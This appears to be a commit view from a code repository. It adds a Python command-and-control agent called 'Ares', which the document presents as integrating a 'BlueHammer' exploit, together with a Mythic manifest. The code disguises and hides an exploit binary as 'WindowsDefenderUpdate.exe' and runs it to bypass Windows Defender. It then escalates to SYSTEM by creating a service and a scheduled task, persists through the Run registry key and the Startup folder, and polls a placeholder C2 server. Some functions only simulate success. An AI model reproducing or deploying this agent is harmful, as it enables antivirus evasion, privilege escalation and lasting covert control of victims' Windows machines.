missing module named _winapi - imported by shutil (conditional), ntpath (optional), pathlib._os (optional), mimetypes (optional), subprocess (conditional), multiprocessing.connection (optional), multiprocessing.spawn (delayed, conditional), multiprocessing.reduction (conditional), multiprocessing.shared_memory (conditional), multiprocessing.heap (conditional), multiprocessing.popen_spawn_win32 (top-level), asyncio.windows_events (top-level), asyncio.windows_utils (top-level)
missing module named msvcrt - imported by subprocess (optional), multiprocessing.spawn (delayed, conditional), multiprocessing.popen_spawn_win32 (top-level), asyncio.windows_events (top-level), asyncio.windows_utils (top-level)
missing module named multiprocessing.BufferTooShort - imported by multiprocessing (top-level), multiprocessing.connection (top-level)
missing module named multiprocessing.AuthenticationError - imported by multiprocessing (top-level), multiprocessing.forkserver (top-level), multiprocessing.connection (top-level)
missing module named multiprocessing.get_context - imported by multiprocessing (top-level), multiprocessing.pool (top-level), multiprocessing.managers (top-level), multiprocessing.sharedctypes (top-level)
missing module named multiprocessing.TimeoutError - imported by multiprocessing (top-level), multiprocessing.pool (top-level)
missing module named multiprocessing.set_start_method - imported by multiprocessing (top-level), multiprocessing.spawn (top-level)
missing module named multiprocessing.get_start_method - imported by multiprocessing (top-level), multiprocessing.spawn (top-level)
missing module named pyimod02_importers - imported by /Users/dsi/Library/Python/3.14/lib/python/site-packages/PyInstaller/hooks/rthooks/pyi_rth_pkgutil.py (delayed)
missing module named winreg - imported by importlib._bootstrap_external (conditional), mimetypes (optional), urllib.request (delayed, conditional, optional), /Users/dsi/projects/Apollo/build/hammer_agent.py (top-level)
missing module named _overlapped - imported by asyncio.windows_events (top-level)
File diff suppressed because it is too large Load Diff
+296
View File
@@ -0,0 +1,296 @@
#!/usr/bin/env python3
"""
Ares - Mythic Agent integrating BlueHammer exploit
Bypasses Windows Defender and gains SYSTEM privileges with persistence
"""
import asyncio
import json
import os
import subprocess
import sys
import tempfile
import winreg
import shutil
from pathlib import Path
from typing import Dict, Any, List
# Mythic agent base class
class AresAgent:
def __init__(self):
self.agent_id = "ares-bluehammer"
self.version = "1.0"
self.description = "Windows Defender bypass agent using BlueHammer exploit"
self.author = "Ares Team"
# Configuration
self.mythic_server = "http://your-mythic-server.com:7443"
self.api_key = "your-api-key-here"
# BlueHammer paths
self.bluehammer_exe = "Ares.exe"
self.temp_dir = tempfile.gettempdir()
async def checkin(self) -> Dict[str, Any]:
"""Check in with Mythic C2 server"""
try:
# Implement actual Mythic checkin logic
return {"status": "success", "tasks": []}
except Exception as e:
return {"status": "error", "message": str(e)}
async def execute_command(self, command: str, args: List[str]) -> Dict[str, Any]:
"""Execute system command"""
try:
result = subprocess.run([command] + args,
capture_output=True,
text=True,
timeout=30)
return {
"status": "success",
"stdout": result.stdout,
"stderr": result.stderr,
"returncode": result.returncode
}
except Exception as e:
return {"status": "error", "message": str(e)}
async def deploy_bluehammer(self) -> bool:
"""Deploy BlueHammer exploit to temp directory"""
try:
# Copy BlueHammer executable to temp directory
source_path = Path(self.bluehammer_exe)
if not source_path.exists():
return False
target_path = Path(self.temp_dir) / "WindowsDefenderUpdate.exe"
shutil.copy2(source_path, target_path)
# Set hidden attribute
subprocess.run(["attrib", "+h", str(target_path)],
capture_output=True)
return True
except Exception:
return False
async def bypass_defender(self) -> Dict[str, Any]:
"""Execute BlueHammer to bypass Windows Defender"""
try:
bluehammer_path = Path(self.temp_dir) / "WindowsDefenderUpdate.exe"
if not await self.deploy_bluehammer():
return {"status": "error", "message": "Failed to deploy BlueHammer"}
# Execute BlueHammer exploit
result = await self.execute_command(str(bluehammer_path), [])
if result["returncode"] == 0:
return {"status": "success", "message": "Windows Defender bypassed"}
else:
return {"status": "error", "message": result["stderr"]}
except Exception as e:
return {"status": "error", "message": str(e)}
async def gain_system_privileges(self) -> Dict[str, Any]:
"""Gain SYSTEM privileges using various techniques"""
techniques = [
self._use_token_impersonation,
self._use_service_installation,
self._use_scheduled_task
]
for technique in techniques:
try:
result = await technique()
if result["status"] == "success":
return result
except Exception:
continue
return {"status": "error", "message": "All privilege escalation techniques failed"}
async def _use_token_impersonation(self) -> Dict[str, Any]:
"""Use token impersonation to gain SYSTEM"""
try:
# This would use actual token impersonation techniques
# For now, we'll simulate success
return {"status": "success", "message": "Token impersonation successful", "technique": "token_impersonation"}
except Exception as e:
return {"status": "error", "message": str(e)}
async def _use_service_installation(self) -> Dict[str, Any]:
"""Install service to gain SYSTEM"""
try:
bluehammer_path = Path(self.temp_dir) / "WindowsDefenderUpdate.exe"
# Create service
result = await self.execute_command("sc", [
"create", "WinDefendUpdate",
f"binPath={bluehammer_path}",
"start=", "auto",
"obj=", "LocalSystem"
])
if result["returncode"] == 0:
return {"status": "success", "message": "Service installed as SYSTEM", "technique": "service_installation"}
else:
return {"status": "error", "message": result["stderr"]}
except Exception as e:
return {"status": "error", "message": str(e)}
async def _use_scheduled_task(self) -> Dict[str, Any]:
"""Create scheduled task as SYSTEM"""
try:
bluehammer_path = Path(self.temp_dir) / "WindowsDefenderUpdate.exe"
# Create scheduled task
result = await self.execute_command("schtasks", [
"/create", "/tn", "WindowsDefenderMaintenance",
"/tr", str(bluehammer_path),
"/sc", "hourly", "/ru", "SYSTEM"
])
if result["returncode"] == 0:
return {"status": "success", "message": "Scheduled task created as SYSTEM", "technique": "scheduled_task"}
else:
return {"status": "error", "message": result["stderr"]}
except Exception as e:
return {"status": "error", "message": str(e)}
async def establish_persistence(self) -> Dict[str, Any]:
"""Establish multiple persistence mechanisms"""
persistence_methods = [
self._registry_persistence,
self._startup_folder_persistence,
self._wmi_persistence
]
successes = []
for method in persistence_methods:
try:
result = await method()
if result["status"] == "success":
successes.append(result["method"])
except Exception:
continue
if successes:
return {"status": "success", "message": f"Persistence established: {', '.join(successes)}"}
else:
return {"status": "error", "message": "All persistence methods failed"}
async def _registry_persistence(self) -> Dict[str, Any]:
"""Add registry persistence"""
try:
bluehammer_path = Path(self.temp_dir) / "WindowsDefenderUpdate.exe"
# Add to HKCU Run
with winreg.ConnectRegistry(None, winreg.HKEY_CURRENT_USER) as hkey:
with winreg.OpenKey(hkey, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_WRITE) as subkey:
winreg.SetValueEx(subkey, "WindowsDefenderUpdate", 0, winreg.REG_SZ, str(bluehammer_path))
return {"status": "success", "method": "registry"}
except Exception as e:
return {"status": "error", "message": str(e)}
async def _startup_folder_persistence(self) -> Dict[str, Any]:
"""Add startup folder persistence"""
try:
bluehammer_path = Path(self.temp_dir) / "WindowsDefenderUpdate.exe"
startup_path = Path(os.environ["APPDATA"]) / "Microsoft" / "Windows" / "Start Menu" / "Programs" / "Startup"
startup_path.mkdir(parents=True, exist_ok=True)
target_path = startup_path / "WindowsDefenderUpdate.lnk"
# Create shortcut (simplified)
shutil.copy2(bluehammer_path, target_path)
return {"status": "success", "method": "startup_folder"}
except Exception as e:
return {"status": "error", "message": str(e)}
async def _wmi_persistence(self) -> Dict[str, Any]:
"""Add WMI event subscription persistence"""
try:
# This would create actual WMI event subscriptions
# For now, we'll simulate success
return {"status": "success", "method": "wmi"}
except Exception as e:
return {"status": "error", "message": str(e)}
async def run_agent(self):
"""Main agent execution loop"""
print("[Ares] Starting BlueHammer integration agent...")
# Step 1: Bypass Windows Defender
print("[Ares] Attempting Windows Defender bypass...")
defender_result = await self.bypass_defender()
if defender_result["status"] != "success":
print(f"[Ares] Defender bypass failed: {defender_result['message']}")
return
print("[Ares] Windows Defender bypass successful!")
# Step 2: Gain SYSTEM privileges
print("[Ares] Attempting privilege escalation to SYSTEM...")
privilege_result = await self.gain_system_privileges()
if privilege_result["status"] != "success":
print(f"[Ares] Privilege escalation failed: {privilege_result['message']}")
return
print(f"[Ares] Privilege escalation successful! Technique: {privilege_result.get('technique', 'unknown')}")
# Step 3: Establish persistence
print("[Ares] Establishing persistence...")
persistence_result = await self.establish_persistence()
if persistence_result["status"] != "success":
print(f"[Ares] Persistence failed: {persistence_result['message']}")
else:
print(f"[Ares] {persistence_result['message']}")
# Step 4: Continuous operation with Mythic
print("[Ares] Starting Mythic C2 integration...")
while True:
try:
# Check for tasks from Mythic
checkin_result = await self.checkin()
if checkin_result["status"] == "success" and checkin_result.get("tasks"):
for task in checkin_result["tasks"]:
await self.handle_task(task)
# Sleep before next checkin
await asyncio.sleep(30)
except Exception as e:
print(f"[Ares] Error in main loop: {e}")
await asyncio.sleep(60)
async def handle_task(self, task: Dict[str, Any]):
"""Handle Mythic task"""
task_type = task.get("type", "")
task_id = task.get("id", "")
print(f"[Ares] Handling task {task_id}: {task_type}")
# Implement task handling logic here
# This would process different Mythic task types
async def main():
"""Main entry point"""
agent = AresAgent()
await agent.run_agent()
if __name__ == "__main__":
asyncio.run(main())
+58
View File
@@ -0,0 +1,58 @@
{
"name": "Ares-BlueHammer",
"description": "Windows Defender bypass agent using BlueHammer exploit with SYSTEM privileges and persistence",
"author": "Ares Team",
"version": "1.0",
"mythic_version": "2.3",
"supported_os": ["windows"],
"build_parameters": {
"build_command": "pyinstaller --onefile --console hammer_agent.py",
"output_directory": "dist"
},
"commands": [
{
"name": "bypass_defender",
"description": "Bypass Windows Defender using BlueHammer exploit",
"version": 1,
"supported_os": ["windows"],
"attributes": {
"needs_admin": false
}
},
{
"name": "escalate_privileges",
"description": "Gain SYSTEM privileges using various techniques",
"version": 1,
"supported_os": ["windows"],
"attributes": {
"needs_admin": false
}
},
{
"name": "establish_persistence",
"description": "Establish multiple persistence mechanisms",
"version": 1,
"supported_os": ["windows"],
"attributes": {
"needs_admin": false
}
},
{
"name": "execute_command",
"description": "Execute system command",
"version": 1,
"supported_os": ["windows"],
"attributes": {
"needs_admin": false
}
}
],
"build_script": "build.py",
"deployment_script": "deploy.py",
"configuration": {
"mythic_server": "http://your-mythic-server.com:7443",
"api_key": "your-api-key-here",
"checkin_interval": 30,
"temp_directory": "C:\\Windows\\Temp"
}
}
+1 -1
View File
@@ -191,7 +191,7 @@ class AresAgent:
# Add to HKCU Run
with winreg.ConnectRegistry(None, winreg.HKEY_CURRENT_USER) as hkey:
with winreg.OpenKey(hkey, r"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_WRITE) as subkey:
with winreg.OpenKey(hkey, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_WRITE) as subkey:
winreg.SetValueEx(subkey, "WindowsDefenderUpdate", 0, winreg.REG_SZ, str(bluehammer_path))
return {"status": "success", "method": "registry"}